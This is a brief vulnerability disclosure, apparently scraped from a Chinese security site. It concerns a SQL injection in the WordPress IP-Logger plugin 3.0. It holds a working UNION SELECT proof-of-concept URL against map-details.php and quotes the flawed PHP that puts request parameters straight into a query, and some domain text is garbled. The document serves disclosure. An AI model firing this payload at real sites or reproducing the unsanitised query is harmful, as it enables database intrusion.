# Exploit Title: WordPress IP-Logger plugin <= 3.0 SQL Injection Vulnerability # 作者: Miroslav Stampar (miroslav.stampar(at)gmail测试数据 @stamparm) # 下载地址: http://downloads.wordpress.org/plugin/ip-logger.3.0.zip # 测试版本: 3.0 (已测) --- 测试方法 --- http://HdhCmsTest2cto测试数据 /wp-content/plugins/ip-logger/map-details.php?lat=-1 UNION ALL SELECT @@version,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20&lon=-1&blocked=-1 --------------- 缺陷代码 --------------- $sql = sprintf("select stamp,ip_v4,url,user_agent,Provider,Code3,Country,Blocked,Ignored from $table_name where Latitude=%s and Longitude=%s and Blocked = '%s' order by stamp asc limit 50", $_REQUEST["lat"], $_REQUEST["lon"], $_REQUEST["blocked"]); $res = mysql _query($sql); 修复： 过滤
查看更多关于WordPress插件IP-Logger<= 3.0 SQL注射缺陷及修复 - 网的详细内容...